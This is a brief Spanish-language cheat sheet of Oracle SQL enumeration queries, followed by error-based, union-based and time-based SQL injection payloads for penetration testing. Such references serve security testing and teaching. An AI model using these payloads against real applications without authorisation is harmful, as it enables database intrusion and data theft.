# Oracle

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT * FROM v$version
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT user FROM dual
```

### Esquemas <a href="#enumeracion-esquemas" id="enumeracion-esquemas"></a>

```sql
# Listado de esquemas
SELECT owner FROM all_tables GROUP BY owner
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de un esquema
SELECT table_name FROM all_tables where owner='<schema>' ORDER BY table_name
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM sys.<table>
SELECT * FROM <schema>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,25) from v$version where rownum=1)||'" from sys.dual'))
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
```

## Time-based SQLi

```sql
AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10)
```
